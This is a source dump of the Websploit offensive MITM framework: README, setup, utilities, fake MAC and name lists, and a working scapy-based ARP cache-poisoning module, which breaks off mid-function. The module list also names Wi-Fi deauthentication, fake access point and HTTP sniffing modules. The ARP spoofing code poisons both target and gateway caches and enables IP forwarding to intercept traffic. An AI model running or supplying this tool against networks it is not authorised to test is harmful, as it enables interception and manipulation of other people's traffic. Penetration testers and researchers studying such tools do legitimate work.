├── LICENSE.txt ├── MANIFEST.in ├── README.md ├── requirements.txt ├── setup.py └── websploit ├── __init__.py ├── core ├── __init__.py ├── base │ ├── Base.py │ └── __init__.py └── utils │ ├── __init__.py │ ├── about.py │ ├── fake_mac │ ├── fake_names │ ├── output.py │ ├── startup.py │ ├── tools.py │ ├── tui.py │ ├── update.py │ └── version.py ├── ezcolor └── __init__.py ├── modules ├── __init__.py ├── arp_spoof.py ├── http_sniffer.py ├── scan_network.py ├── scan_wifi.py ├── wifi_deauth.py ├── wifi_fap.py └── wifi_fap_spam.py └── websploit.py /LICENSE.txt: -------------------------------------------------------------------------------- 1 | Copyright 2017-2019 WEBSPLOIT 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 4 | 5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 6 | 7 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | # documentation 2 | include README.md 3 | include requirements.txt 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | **Websploit** 3 | ==== 4 |

5 | 6 |

7 | 8 | 9 | Websploit is a high level MITM framework 10 | 11 | 12 | Installation 13 | ------------ 14 | 15 | Manual install via git : 16 | 17 | ```bash 18 | $ git clone https://github.com/f4rih/websploit.git 19 | $ cd websploit 20 | $ python setup.py install 21 | ``` 22 | Execute via command line : 23 | ```bash 24 | $ websploit 25 | ``` 26 | 27 | install via apt: 28 | ```bash 29 | $ apt-get install websploit 30 | ``` 31 | 32 | Menu 33 | ----- 34 | 35 |

36 | 37 |

38 | 39 | Select module : 40 | 41 | ```bash 42 | wsf > use arp_spoof 43 | ``` 44 | 45 | with `options` command you can see options of current module: 46 | 47 | ```bash 48 | wsf > arp_spoof > options 49 | ``` 50 | 51 | Change options with `set` command: 52 | 53 | ```bash 54 | wsf > arp_spoof > set target 192.168.1.24 55 | ``` 56 | 57 | 58 | Finally run module via `execute` command: 59 | 60 | ```bash 61 | wsf > arp_spoof > execute 62 | ``` 63 | 64 | Meta 65 | ---- 66 | 67 | Fardin Allahverdinazhand - [\@f4rih](https://twitter.com/f4rih) - && pezhman Zandi - [\@begininvoke](https://twitter.com/begininvoke) Distributed under the MIT license. see [LICENSE.txt](https://github.com/f4rih/websploit/blob/master/LICENSE.txt) 68 | for more information. 69 | 70 | 71 | 72 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | scapy 2 | requests 3 | 4 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import codecs 3 | from setuptools import setup, find_packages 4 | 5 | WEBSPLOIT_VERSION = "4.0.4" 6 | WEBSPLOIT_DOWNLOAD = ('https://github.com/websploit/websploit/tarball/' + WEBSPLOIT_VERSION) 7 | 8 | 9 | def read_file(filename): 10 | """ 11 | Read a utf8 encoded text file and return its contents. 12 | """ 13 | with codecs.open(filename, 'r', 'utf8') as f: 14 | return f.read() 15 | 16 | def read_requirements(): 17 | with open('requirements.txt') as f: 18 | return f.readlines() 19 | 20 | 21 | setup( 22 | name='websploit', 23 | packages=[ 24 | 'websploit', 25 | 'websploit.ezcolor', 26 | 'websploit.modules', 27 | 'websploit.core', 28 | 'websploit.core.base', 29 | 'websploit.core.utils'], 30 | package_data={ 31 | 'websploit.core': [ 32 | 'utils/*', 33 | ], 34 | }, 35 | 36 | version=WEBSPLOIT_VERSION, 37 | description='Websploit is a high level MITM framework', 38 | long_description=read_file('README.md'), 39 | long_description_content_type='text/markdown', 40 | # packages = find_packages(), 41 | entry_points ={ 42 | 'console_scripts': [ 43 | 'websploit = websploit.websploit:start_wsf' 44 | ] 45 | }, 46 | 47 | license='MIT', 48 | author='Fardin Allahverdinazhand', 49 | author_email='0x0ptim0us@gmail.com', 50 | url='https://github.com/websploit/websploit', 51 | download_url=WEBSPLOIT_DOWNLOAD, 52 | keywords=['python3', 'websploit', 'wsf', 'MITM', 'wifi', 'arp spoof'], 53 | classifiers=[ 54 | 'Intended Audience :: Developers', 55 | 'License :: OSI Approved :: MIT License', 56 | 'Programming Language :: Python :: 3.5', 57 | 'Programming Language :: Python :: 3.6', 58 | 'Programming Language :: Python :: 3.7', 59 | 'Programming Language :: Python :: 3.8', 60 | 'Natural Language :: English', 61 | ], 62 | 63 | install_requires= read_requirements(), 64 | 65 | ) 66 | -------------------------------------------------------------------------------- /websploit/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/f4rih/websploit/7508baa654084a70d6d1ac34ed1c2efe44094600/websploit/__init__.py -------------------------------------------------------------------------------- /websploit/core/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/f4rih/websploit/7508baa654084a70d6d1ac34ed1c2efe44094600/websploit/core/__init__.py -------------------------------------------------------------------------------- /websploit/core/base/Base.py: -------------------------------------------------------------------------------- 1 | import cmd 2 | import sys 3 | from websploit.modules import all_modules, module_list 4 | from websploit.core.utils import CPrint 5 | 6 | completions = [ 7 | 'target', 8 | 'ip', 9 | 'gateway', 10 | 'mac', 11 | 'iface', 12 | 'gateway_mac', 13 | 'target_mac' 14 | ] 15 | 16 | class Module(cmd.Cmd): 17 | parameters = {} 18 | cp = CPrint() 19 | 20 | 21 | def do_execute(self): 22 | """Execute current module""" 23 | pass 24 | 25 | def do_back(self, *args): 26 | """go back one level""" 27 | return True 28 | 29 | def do_exit(self, line): 30 | """exit websploit""" 31 | sys.exit(0) 32 | 33 | def do_set(self, line): 34 | """set options""" 35 | try: 36 | key, value = line.split(' ') 37 | print(key, value) 38 | self.parameters.update({key: value}) 39 | except KeyError: 40 | # print(f"*** Unknown Option! option not has value!") 41 | self.cp.warning(text="*** Unknown Option! option not has value!") 42 | except ValueError: 43 | # print(f"*** Option not has value!") 44 | # print(f"*** Example : set host 127.0.0.1") 45 | self.cp.warning(text="*** Option not has value!") 46 | self.cp.info(text="*** Example : set host 127.0.0.1") 47 | 48 | def do_options(self, line): 49 | """Show options of current module""" 50 | print("\n") 51 | self.cp.green(f"{'Option':20}\t{'Value':20}") 52 | self.cp.green(f"{'--'*8:<20}\t{'--'*8:<20}") 53 | for k,v in self.parameters.items(): 54 | self.cp.yellow(f"{k:20}\t{v:20}") 55 | print("\n") 56 | 57 | def complete_set(self, text, line, begidx, endidx): 58 | mline = line.partition(' ')[2] 59 | offs = len(mline) - len(text) 60 | return [s[offs:] for s in self.completions if s.startswith(mline)] 61 | 62 | 63 | 64 | 65 | 66 | 67 | -------------------------------------------------------------------------------- /websploit/core/base/__init__.py: -------------------------------------------------------------------------------- 1 | from .Base import Module -------------------------------------------------------------------------------- /websploit/core/utils/__init__.py: -------------------------------------------------------------------------------- 1 | from .tools import * 2 | from .tui import logo 3 | from .startup import check_dependencies 4 | from .output import CPrint 5 | from .about import about 6 | from .update import update -------------------------------------------------------------------------------- /websploit/core/utils/about.py: -------------------------------------------------------------------------------- 1 | import platform 2 | 3 | def about(): 4 | s_color = "\033[92m" if platform.system() != "Windows" else "" 5 | e_color = "\033[0m" if platform.system() != "Windows" else "" 6 | about = f"""{s_color} 7 | 8 | Websploit Framework 9 | Author : Fardin Allahverdinazhand 10 | Contact : 0x0ptim0us[~A~]Gmail.Com 11 | Twitter : @0x0ptim0us 12 | Codename : Reborn 13 | Project Github : https://github.com/websploit/websploit 14 | Other Projects : https://github.com/0x0ptim0us 15 | 16 | {e_color}""" 17 | print(about) -------------------------------------------------------------------------------- /websploit/core/utils/fake_mac: -------------------------------------------------------------------------------- 1 | D1:CA:A5:0D:E1:33 2 | 61:8A:37:1B:C5:D3 3 | 0E:DD:90:26:1E:0B 4 | 40:82:2B:58:CE:2F 5 | 53:A1:97:49:52:6E 6 | 29:43:75:EB:57:D7 7 | 23:0F:12:E6:69:7F 8 | 0B:86:DE:4F:79:2F 9 | E1:A3:88:BA:BB:9C 10 | D8:23:19:21:4A:72 11 | 9C:10:54:F3:5A:6D 12 | 21:7D:C1:9A:9B:DA 13 | 40:B8:A3:A3:FC:44 14 | 03:75:DD:2F:F9:CB 15 | A5:53:03:D4:39:DD 16 | C7:1B:35:F3:86:86 17 | 3A:52:42:EE:73:28 18 | 6F:C9:89:74:18:F4 19 | DE:85:40:B8:B1:AF 20 | 38:DA:CF:22:FF:C7 21 | 83:C9:BB:E8:A6:DE 22 | 69:61:A1:0D:9E:75 23 | DA:8C:94:41:70:B2 24 | B9:A5:F7:45:0A:7A 25 | B7:75:5F:A3:92:F2 26 | 63:3D:3E:FF:79:46 27 | 18:C1:33:CE:A3:30 28 | 2E:3B:02:D7:61:49 29 | F4:87:DD:DE:59:08 30 | CC:77:FA:72:8A:D9 31 | CB:02:C4:CB:84:26 32 | 10:47:94:F6:06:D0 33 | 14:29:EF:2A:A2:D6 34 | 79:2F:D4:5F:4A:6E 35 | E5:4F:C1:FD:51:63 36 | 09:DB:BA:12:33:21 37 | 87:0C:16:A0:BE:F7 38 | FE:44:FB:7F:45:AF 39 | FC:23:F4:47:B4:4D 40 | AE:D5:DC:DC:A1:19 41 | C8:80:D3:0D:F2:0E 42 | 64:61:8A:E2:8B:75 43 | 74:21:63:A2:B3:39 44 | 63:65:56:3B:A9:C2 45 | 3B:4C:6B:1E:03:F6 46 | 6A:82:DB:B3:E1:83 47 | 7B:E1:5B:38:67:4C 48 | 26:A2:9A:80:41:21 49 | CD:4B:EC:E5:7D:6C 50 | 89:5E:09:A2:F5:59 51 | FD:93:EB:4B:88:66 52 | 44:BB:11:89:AD:7A 53 | 62:C6:71:F6:F8:9D 54 | 3D:8B:5E:19:3C:44 55 | DC:E7:95:10:7D:6E 56 | F5:4E:DD:B0:A4:BF 57 | 2C:85:8D:A5:98:C3 58 | DD:35:A9:39:E8:7B 59 | 53:B0:76:F9:28:FA 60 | 59:FE:1B:1E:84:32 61 | D7:CB:F3:64:61:4D 62 | 74:79:C6:31:F2:F0 63 | D1:E5:52:83:94:E8 64 | 75:CE:61:BE:52:71 65 | 8B:27:D1:7B:26:08 66 | 88:B1:C9:94:E5:25 67 | 6D:3B:0A:C8:5E:03 68 | 07:E2:DE:A5:75:63 69 | FF:7D:59:2B:75:77 70 | 03:F5:2F:82:76:44 71 | 5F:AC:40:F3:07:15 72 | 03:07:97:E9:BE:ED 73 | D7:F4:D3:92:23:E7 74 | 3E:A3:5B:85:F9:D8 75 | 0B:1B:9F:87:67:B4 76 | B4:6D:75:4B:3F:E8 77 | A7:D9:0A:10:62:CF 78 | 24:68:C2:C7:63:4E 79 | 89:9B:87:32:E0:CE 80 | BD:F1:0B:02:F7:AB 81 | 97:2F:A7:D2:06:D8 82 | E0:AC:06:BB:4A:C4 83 | 5D:64:40:0D:72:C1 84 | 9A:39:00:1E:0C:B1 85 | 26:C6:09:A5:60:9A 86 | 19:78:C3:A5:DD:FE 87 | E0:CE:C7:FF:DC:5D 88 | 50:2B:0C:51:5C:A1 89 | F4:7D:16:BF:67:E3 90 | FD:2C:97:AE:7C:98 91 | 8E:9E:A3:FA:76:79 92 | C2:83:96:68:48:5D 93 | FF:C7:B5:F4:48:2E 94 | C1:83:8F:C4:15:7B 95 | BD:3F:58:D5:79:C3 96 | EB:72:39:1F:A9:32 97 | 9F:7A:4E:50:C9:F1 98 | 1C:69:52:C4:D3:61 99 | C7:06:13:9A:30:47 100 | EA:7A:37:C4:32:D9 101 | 59:D2:C3:38:B4:FC 102 | 78:6A:8A:26:49:17 103 | 0D:C4:F9:D4:3A:7F 104 | DA:88:E7:46:FA:07 105 | 52:D9:CE:1C:BD:0B 106 | 6D:F9:76:95:11:DF 107 | 82:57:C6:E1:8B:B4 108 | AC:15:91:0F:F0:96 109 | 62:B7:39:7B:BC:27 110 | 20:9B:B4:F5:00:B9 111 | 2B:81:B1:72:33:96 112 | C0:17:D3:EF:37:AF 113 | BA:4B:AF:4C:BD:D6 114 | E5:82:82:84:2A:BF 115 | D9:F1:19:0C:34:8E 116 | 4C:AF:98:58:DE:A5 117 | 02:92:C4:2A:D1:BE 118 | AB:BE:F3:C3:F6:29 119 | E8:1B:6B:06:D9:8A 120 | DA:4B:BF:96:A4:49 121 | 70:D7:6F:05:71:0D 122 | C1:39:AC:38:67:32 123 | 6C:80:1C:A8:C7:F2 124 | 6F:7E:08:BC:9F:63 125 | B9:B1:1E:37:BB:8C 126 | 72:43:94:6F:3D:D4 127 | 59:0E:86:23:0D:41 128 | C8:87:30:3B:27:EB 129 | B4:BF:28:37:13:69 130 | A8:CA:51:B1:93:8C 131 | 4B:76:36:2E:AD:DC 132 | 50:47:4A:0E:2D:87 133 | E3:97:61:3A:DB:10 134 | 13:EB:0C:85:CC:C0 135 | 6D:E8:A6:F8:98:F0 136 | A2:A7:DB:7E:E5:AE 137 | 12:4E:E0:E4:DD:C7 138 | 3B:FD:4E:DE:17:5E 139 | 3C:D1:17:03:94:17 140 | 4F:B2:C7:90:29:D6 141 | 7A:48:19:74:54:67 142 | B6:A4:AB:BE:A6:07 143 | DA:7F:34:6A:EA:3F 144 | 4A:49:EA:09:0A:DA 145 | 58:80:E9:7B:3E:A6 146 | 20:00:B3:FF:D3:8B 147 | D9:4D:31:79:90:97 148 | 90:2C:ED:20:D2:08 149 | 6F:73:30:F0:93:EC 150 | 55:5E:5E:6E:E8:AC 151 | 5C:C3:FC:B5:C3:8F 152 | 37:FC:BD:80:3E:E8 153 | C4:7B:D1:72:E4:5D 154 | 01:2C:4A:B7:2B:3D 155 | 8B:DB:9B:46:0B:1D 156 | C8:FA:C5:7D:69:9A 157 | 45:16:04:38:F0:49 158 | B8:FB:30:8F:88:A5 159 | D1:23:BB:DF:0E:50 160 | 28:91:8D:A3:59:F8 161 | 97:72:F1:7C:39:FE 162 | 4C:D5:A2:5C:AE:E2 163 | B8:50:24:8B:C0:DB 164 | 14:84:D7:22:4F:7E 165 | 1C:BB:B9:D6:13:73 166 | 7F:F3:FC:F1:17:5E 167 | E8:02:77:19:4C:4F 168 | 52:56:5C:AC:C9:0B 169 | 5F:C6:62:54:A5:71 170 | D8:A1:4F:09:15:F6 171 | 29:2E:22:98:16:E7 172 | 83:C2:93:36:BE:7F 173 | D7:8E:C7:4E:16:C3 174 | 96:BA:CA:24:DE:66 175 | 19:CC:73:B4:A3:27 176 | A6:5B:D2:F6:8A:04 177 | 42:82:0E:81:75:DF 178 | 88:33:B6:A6:CF:19 179 | 10:F9:B0:DF:25:13 180 | 3A:4B:F2:A7:AD:A6 181 | 34:C0:4D:95:E9:F9 182 | 9C:8B:2A:E5:43:03 183 | 5A:AF:85:5B:91:BD 184 | F5:3D:E2:67:EE:20 185 | 81:6C:46:F9:1A:89 186 | FE:48:F0:6E:59:B3 187 | B1:A9:0C:A8:D0:51 188 | 64:A7:E3:0D:15:60 189 | 5C:FA:5A:D0:C7:9C 190 | 33:41:39:2A:ED:1C 191 | 02:A1:70:1C:C0:61 192 | B3:17:AA:3D:E7:E1 193 | 11:BF:ED:BE:F5:F6 194 | 50:21:18:2C:B3:35 195 | E6:2C:D1:DE:29:D0 196 | 69:E5:ED:B4:DD:5E 197 | 58:A0:BD:59:37:51 198 | 83:FA:CD:A2:68:74 199 | 52:83:FE:14:6C:41 200 | 99:BD:00:E9:3D:3F -------------------------------------------------------------------------------- /websploit/core/utils/fake_names: -------------------------------------------------------------------------------- 1 | Karima   2 | Leilani   3 | Jeffrey   4 | Lane   5 | Ute   6 | Cherly   7 | Dorthy   8 | Svetlana   9 | Porter   10 | Elsy   11 | Rachal   12 | Rosa   13 | Hannah   14 | Jenine   15 | Mirta   16 | Consuelo   17 | Mariam   18 | Jeraldine   19 | Malorie   20 | Dorine   21 | Eliana   22 | Muriel   23 | Jami   24 | Thu   25 | Kirsten   26 | Tom   27 | Frida   28 | Micheline   29 | Ceola   30 | Janelle   31 | Marta   32 | Arica   33 | Bobbi   34 | Thuy   35 | Levi   36 | Bobette   37 | Devorah   38 | Xenia   39 | Caterina   40 | Tracy   41 | Milo   42 | Sabina   43 | Stephnie   44 | Devon   45 | Mitzi   46 | Lauran   47 | Agnes   48 | Hermila   49 | Joetta   50 | Marylynn   51 | Myrtle   52 | Deetta   53 | Shena   54 | Gracia   55 | Xenia   56 | Cecelia   57 | Moon   58 | Sang   59 | Sabrina   60 | Abbie   61 | Allie   62 | Ardath   63 | Tory   64 | Keren   65 | Adell   66 | Milo   67 | Monika   68 | Alvina   69 | Armando   70 | Rachele   71 | Belkis   72 | Nathalie   73 | Clyde   74 | Angella   75 | Brynn   76 | Zachery   77 | Marisha   78 | Halley   79 | Tenesha   80 | Breanna   81 | Glen   82 | Doyle   83 | Ruben   84 | Rob   85 | Cinthia   86 | Bennie   87 | India   88 | Dori   89 | Tula   90 | Enda   91 | Machelle   92 | Julienne   93 | Jerrell   94 | Chantel   95 | Ivory   96 | Tran   97 | Sueann   98 | Janee   99 | Yi 100 | Vanessa 101 | Brande   102 | Fermina   103 | Tanna   104 | Rashad   105 | Ceola   106 | Ricardo   107 | Nieves   108 | Granville   109 | Randi   110 | Harlan   111 | Paulette   112 | Asa   113 | Russel   114 | Freddy   115 | Denna   116 | Rodney   117 | Kathaleen   118 | Kathrine   119 | Vito   120 | Spring   121 | Elli   122 | Violet   123 | Luciano   124 | Jackie   125 | Alayna   126 | Teri   127 | Michelina   128 | Delorse   129 | Janeth   130 | Sigrid   131 | Fidelia   132 | Lien   133 | Donya   134 | Davina   135 | Kum   136 | Ardella   137 | Alton   138 | Shenna   139 | Dana   140 | Lenny   141 | Maryanna   142 | Freeda   143 | Chet   144 | Flo   145 | Ethel   146 | Mikel   147 | Maxwell   148 | Artie   149 | Tai   150 | Diane -------------------------------------------------------------------------------- /websploit/core/utils/output.py: -------------------------------------------------------------------------------- 1 | from websploit.ezcolor import Style 2 | import platform 3 | 4 | 5 | class Output: 6 | 7 | def __init__(self): 8 | self._os = platform.system() 9 | self._style = Style() 10 | self._color_status = True 11 | if self._os == "Windows": 12 | self._color_status = False 13 | 14 | def _output(self, text, status): 15 | symbols = { 16 | "success": "[+]", 17 | "warning": "[!]", 18 | "error": "[-]", 19 | "info": "[>]" 20 | } 21 | 22 | if self._color_status: 23 | if status == "success": 24 | cp = self._style.add.foreground('green').prefix('done').bold.apply() 25 | cp(text) 26 | elif status == "warning": 27 | cp = self._style.add.foreground('yellow').prefix('warning').bold.apply() 28 | cp(text) 29 | elif status == "error": 30 | cp = self._style.add.foreground('red').prefix('error').bold.apply() 31 | cp(text) 32 | elif status == "info": 33 | cp = self._style.add.foreground('cyan').prefix('info').bold.apply() 34 | cp(text) 35 | elif status == "green": 36 | cp = self._style.add.foreground('green').apply() 37 | cp(text) 38 | elif status == "red": 39 | cp = self._style.add.foreground('red').apply() 40 | cp(text) 41 | elif status == "yellow": 42 | cp = self._style.add.foreground('yellow').apply() 43 | cp(text) 44 | else: 45 | print(f"{symbols[status]} {text}") 46 | 47 | 48 | class CPrint(Output): 49 | def __init__(self): 50 | super().__init__() 51 | 52 | def success(self, text): 53 | self._output(text=text, status="success") 54 | 55 | def warning(self, text): 56 | self._output(text=text, status="warning") 57 | 58 | def error(self, text): 59 | self._output(text=text, status="error") 60 | 61 | def info(self, text): 62 | self._output(text=text, status="info") 63 | 64 | def green(self, text): 65 | self._output(text=text, status="green") 66 | 67 | def red(self, text): 68 | self._output(text=text, status="red") 69 | 70 | def yellow(self, text): 71 | self._output(text=text, status="yellow") 72 | 73 | -------------------------------------------------------------------------------- /websploit/core/utils/startup.py: -------------------------------------------------------------------------------- 1 | import platform 2 | import importlib.util 3 | import sys 4 | 5 | 6 | def check_dependencies(): 7 | """Check system befor starting core""" 8 | modules = [ 9 | 'scapy', 10 | 'requests' 11 | ] 12 | 13 | not_installed_modules = [] 14 | 15 | for module in modules: 16 | spec = importlib.util.find_spec(module) 17 | if spec is None: 18 | print(f"[-] WARNING : `{module}` library not installed.") 19 | not_installed_modules.append(module) 20 | 21 | if not_installed_modules: 22 | install_string = "" 23 | for module in not_installed_modules: 24 | install_string += f"{module} " 25 | 26 | install_command = f"python3 -m pip install {install_string}" 27 | 28 | print("[+] Use below command for installing missing libraries.") 29 | print(f"[+] {install_command}") 30 | sys.exit() 31 | -------------------------------------------------------------------------------- /websploit/core/utils/tools.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | import random 3 | 4 | 5 | def get_mac(ip): 6 | """Get user MAC address""" 7 | ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0) 8 | if ans: 9 | return ans[0][1].src 10 | else: 11 | return None 12 | 13 | 14 | def enable_ip_forward(): 15 | """Enable ip forwarding on linux machine""" 16 | 17 | file_path = "/proc/sys/net/ipv4/ip_forward" 18 | try: 19 | with open(file_path) as file: 20 | if file.read() == 1: 21 | return True 22 | with open(file_path, "w") as file: 23 | print(1, file=file) 24 | return True 25 | except Exception: 26 | return False 27 | 28 | def get_fake_mac(): 29 | file_path = os.path.join(os.path.dirname(__file__), 'fake_mac') 30 | with open(file_path) as file: 31 | mac_list = file.readlines() 32 | random_mac = random.choice(mac_list) 33 | random_mac = random_mac.strip("\n") 34 | random_mac = random_mac.strip() 35 | return random_mac 36 | 37 | def get_fake_name(): 38 | file_path = os.path.join(os.path.dirname(__file__), 'fake_names') 39 | with open(file_path) as file: 40 | name_list = file.readlines() 41 | random_name = random.choice(name_list) 42 | random_name = random_name.strip("\n") 43 | random_name = random_name.strip() 44 | return random_name 45 | -------------------------------------------------------------------------------- /websploit/core/utils/tui.py: -------------------------------------------------------------------------------- 1 | from .version import version 2 | 3 | 4 | def logo(): 5 | 6 | return f"""\033[92m 7 | ____ __ ____ 8 | \ \ / \ / / | \033[95m Welcome to Websploit \033[92m 9 | \ \/ \/ / | \033[95m Version : {version} \033[92m 10 | \ / | \033[95m https://github.com/websploit/websploit \033[92m 11 | \ /\ / | \033[95m Author : Fardin Allahverdinazhand \033[92m 12 | \__/ \__/ | \033[95m Codename : Reborn \033[92m 13 | 14 | \033[0m 15 | """ 16 | 17 | -------------------------------------------------------------------------------- /websploit/core/utils/update.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from .version import version 3 | from .output import CPrint 4 | 5 | 6 | def update(where): 7 | cp = CPrint() 8 | try: 9 | res = requests.get("https://api.github.com/repos/websploit/websploit/releases/latest", timeout=2) 10 | if res.status_code == 200: 11 | response = res.json() 12 | git_version = response['tag_name'] 13 | # check for new version 14 | if version != git_version: 15 | cp.success(text=f"New version available: {git_version}") 16 | cp.info(text=f"Download Link : https://api.github.com/repos/websploit/websploit/zipball/{git_version}") 17 | else: 18 | if where == "update_command": 19 | cp.success(text="You are using the latest version of websploit.") 20 | elif where == "main_menu": 21 | pass 22 | 23 | else: 24 | if where == "main_menu": 25 | pass 26 | elif where == "update_command": 27 | cp.warning("Error while updating! Check your internet connection!") 28 | except: 29 | pass 30 | -------------------------------------------------------------------------------- /websploit/core/utils/version.py: -------------------------------------------------------------------------------- 1 | version = "4.0.4" -------------------------------------------------------------------------------- /websploit/ezcolor/__init__.py: -------------------------------------------------------------------------------- 1 | from copy import deepcopy 2 | # Ezcolor library for python 3 | # 4 | 5 | __version__ = 0.7 6 | 7 | # Template builder 8 | class _CPrint: 9 | def __init__(self): 10 | self.foreground = 39 11 | self.background = 49 12 | self.bold = None 13 | self.italic = None 14 | self.underline = None 15 | self.prefix = None 16 | 17 | def __call__(self, text): 18 | print(self.__prepare_str(text=text)) 19 | 20 | def code(self, text): 21 | return self.__prepare_str(text=text) 22 | 23 | def __prepare_str(self, text): 24 | template = self.__pattern_generator() 25 | template = template.replace("%TEXT%", text) 26 | return template 27 | 28 | def decorate(self, func): 29 | def wrapper(*args, **kwargs): 30 | result = func(*args, **kwargs) 31 | if isinstance(result, str): 32 | template = self.__prepare_str(text=result) 33 | return template 34 | else: 35 | return result 36 | return wrapper 37 | 38 | def __str__(self): 39 | return f"" 41 | 42 | def __pattern_generator(self): 43 | # template = "\033[%BOLD%;%ITALIC%;%UNDERLINE%;%BG%;%FG%m%TEXT%\033[0m" 44 | start_template = "\033[" 45 | end_template = "m%TEXT%\033[0m" 46 | # add italic 47 | if self.italic: 48 | start_template = f"{start_template}{self.italic};" 49 | # add underline 50 | if self.underline: 51 | start_template = f"{start_template}{self.underline};" 52 | # add bold 53 | if self.bold: 54 | start_template = f"{start_template}{self.bold};" 55 | # add background 56 | start_template = f"{start_template}{self.background};" 57 | # add foreground 58 | start_template = f"{start_template}{self.foreground}" 59 | if self.prefix: 60 | return self.prefix + start_template + end_template 61 | else: 62 | return start_template + end_template 63 | 64 | 65 | class Style: 66 | def __init__(self, style=_CPrint()): 67 | self.style = style 68 | 69 | @property 70 | def add(self): 71 | return _MakeStyle(style=deepcopy(self.style)) 72 | 73 | def apply(self): 74 | """return created style object""" 75 | return self.style 76 | 77 | 78 | class _MakeStyle(Style): 79 | def __init__(self, style): 80 | super().__init__(style) 81 | 82 | def foreground(self, color): 83 | colors = { 84 | 'default': 39, 85 | 'black': 30, 86 | 'red': 31, 87 | 'green': 32, 88 | 'yellow': 33, 89 | 'blue': 34, 90 | 'magenta': 35, 91 | 'cyan': 36, 92 | 'light_gray': 37, 93 | 'dark_gray': 90, 94 | 'light_red': 91, 95 | 'light_green': 92, 96 | 'light_yellow': 93, 97 | 'light_blue': 94, 98 | 'light_magenta': 95, 99 | 'light_cyan': 96, 100 | 'white': 97} 101 | try: 102 | self.style.foreground = colors[color] 103 | except KeyError: 104 | print(f"{color} color not supported for foreground! try supported colors :") 105 | print("\n") 106 | for c in colors.keys(): 107 | print(c, end=",") 108 | print("\n") 109 | return self 110 | 111 | def background(self, color): 112 | colors = { 113 | 'default': 49, 114 | 'black': 40, 115 | 'red': 41, 116 | 'green': 42, 117 | 'yellow': 43, 118 | 'blue': 44, 119 | 'magenta': 45, 120 | 'cyan': 46, 121 | 'light_gray': 47, 122 | 'dark_gray': 100, 123 | 'light_red': 101, 124 | 'light_green': 102, 125 | 'light_yellow': 103, 126 | 'light_blue': 104, 127 | 'light_magenta': 105, 128 | 'light_cyan': 106, 129 | 'white': 107} 130 | try: 131 | self.style.background = colors[color] 132 | except KeyError: 133 | print(f"{color} color not supported for background! try supported colors :") 134 | print("\n") 135 | for c in colors.keys(): 136 | print(c, end=",") 137 | print("\n") 138 | return self 139 | 140 | def prefix(self, type_): 141 | prefix = { 142 | "done": "\033[32;m[✔] \033[0m", 143 | "error": "\033[31;m[✘] \033[0m", 144 | "warning": "\033[33;m[→] \033[0m", 145 | "info": "\033[34;m[𝓲] \033[0m" 146 | } 147 | try: 148 | self.style.prefix = prefix[type_] 149 | except KeyError: 150 | print(f"{type_} prefix not supported! list of supported items :") 151 | print("\n") 152 | for c in prefix.keys(): 153 | print(c, end=",") 154 | print("\n") 155 | return self 156 | 157 | @property 158 | def underline(self): 159 | self.style.underline = 4 160 | return self 161 | 162 | @property 163 | def italic(self): 164 | self.style.italic = 3 165 | return self 166 | 167 | @property 168 | def bold(self): 169 | self.style.bold = 1 170 | return self 171 | -------------------------------------------------------------------------------- /websploit/modules/__init__.py: -------------------------------------------------------------------------------- 1 | import os 2 | import pkgutil 3 | from websploit.core.utils import CPrint 4 | cp = CPrint() 5 | 6 | __all__ = list(module for _, module, _ in pkgutil.iter_modules([os.path.dirname(__file__)])) 7 | 8 | 9 | def all_modules(): 10 | """print available modules in nice way""" 11 | cp.green(f"{'Modules':<20}\t{'Description':<20}") 12 | cp.green(f"{'--'*10}\t{'--'*13}") 13 | for module in __all__: 14 | try: 15 | current_module = globals()[module].Main() 16 | cp.yellow(f"{module:<20}\t{current_module.__doc__}") 17 | except AttributeError: 18 | print(f"*** Module `{module}` not has `Main` class!") 19 | print("\n") 20 | 21 | 22 | def module_list(): 23 | return __all__ 24 | -------------------------------------------------------------------------------- /websploit/modules/arp_spoof.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from websploit.core.utils import get_mac, enable_ip_forward 3 | from time import sleep 4 | from websploit.core import base 5 | 6 | conf.verb = 0 7 | 8 | 9 | class Main(base.Module): 10 | """ARP Cache poisoning""" 11 | parameters = { 12 | "target": "192.168.1.240", 13 | "gateway": "192.168.1.24" 14 | 15 | } 16 | completions = list(parameters.keys()) 17 | 18 | def do_execute(self, line): 19 | """Execute current module""" 20 | enable_ip_forward() 21 | while True: 22 | try: 23 | # Start spoof 24 | self._spoof(target=self.parameters['target'], getway=self.parameters['gateway']) 25 | self._spoof(target=self.parameters['gateway'], getway=self.parameters['target']) 26 | sleep(0.2) 27 | 28 | except KeyboardInterrupt: 29 | # Restore 30 | self._restore(target=self.parameters['target'], getway=self.parameters['gateway']) 31 | self._restore(target=self.parameters['gateway'], getway=self.parameters['target']) 32 | break 33 | 34 | 35 | 36 | def _spoof(self, target, getway): 37 | target_mac = get_mac(ip=target) 38 | arp_response = ARP(pdst=target, hwdst=target_mac, psrc=getway, op='is-at') 39 | # get the MAC address 40 | self_mac = 